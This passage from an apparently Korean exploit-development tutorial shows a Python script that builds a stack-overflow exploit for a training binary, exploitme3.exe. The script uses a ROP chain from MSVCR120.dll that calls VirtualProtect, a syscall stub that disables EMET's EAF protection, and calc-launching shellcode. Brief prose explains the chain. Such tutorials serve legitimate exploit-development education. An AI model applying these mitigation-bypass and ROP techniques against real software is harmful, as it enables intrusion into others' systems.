        md + 0x7056507c,     # IAT: &ntdll!RtlExitUserThread
        md + 0x70501e19,     # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
 
        # EAX = ntdll!NtQueryInformationThread
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704a691c,     # ADD EAX,DWORD PTR [EAX] # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
        md + 0x704ecd87,     # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x7049178a,     # ADD EAX,8 # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704aa20f,     # INC EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
        md + 0x704819e8,     # XCHG EAX,EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # ECX = 0; EAX = 0x4d
        md + 0x704f2485,     # XOR ECX,ECX # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x4d,
 
        md + 0x704c0a08,     # JMP EBX
        md + 0x7055adf3,     # JMP ESP
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
        0x11111111,          # for RETN 0x14
 
    # real_code:
        0x90901eeb,          # jmp skip
 
    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size
    # skip:
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'c:\deleteme\name.dat')
cs


ROP의 처음 부분은 ROP chain 마지막에 위치할 인자들을 초기화 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
# real_code:
        0x90901eeb,          # jmp skip
 
    # args:
        0xffffffff,          # current process handle
        0x11111111,          # &address = ptr to address
        0x11111111,          # &size = ptr to size
        0x40,
        md + 0x705658f2,     # &Writable location [MSVCR120.dll]
    # end_args:
        0x11111111,          # address     <------- the region starts here
        code_size + 8        # size
 
cs


두 번째 인자 (&address) end_args로 덮어 써지고 세 번째 인자는 (&size) end_args+4로 덮어 써집니다. 결론적으로 address (end_args)는 그 주소로 덮어 써지게 됩니다.

 

우리의 코드는 real_code에서 시작해야 하기 때문에 address real_code로 덮어 써야 하지만 여기서는 그럴 필요가 없는게 VirtualProtect는 페이지들에서 동작하고 굉장히 높은 확률로 real_code end_args는 같은 페이지를 가리키고 있을 것이기 때문입니다.

 

두 번재 ROP chainntdll.dll에서 call dword ptr fs:[0C0h] # add esp, 4 # ret 14h를 찾고 커널 서비스를 호출합니다.

 

파이썬 스크립트를 실행 시키면 name.dat 파일을 생성하고 최종적으로 exploitme3.exe를 실행하면 익스플로잇이 정상적으로 동작할 것입니다.

 

이제 모든 보호 기법들을 활성화 시키고 익스플로잇이 동작하는지 확인해보세요! (ASR은 적용되지 않기 때문에 제외 합니다)

댓글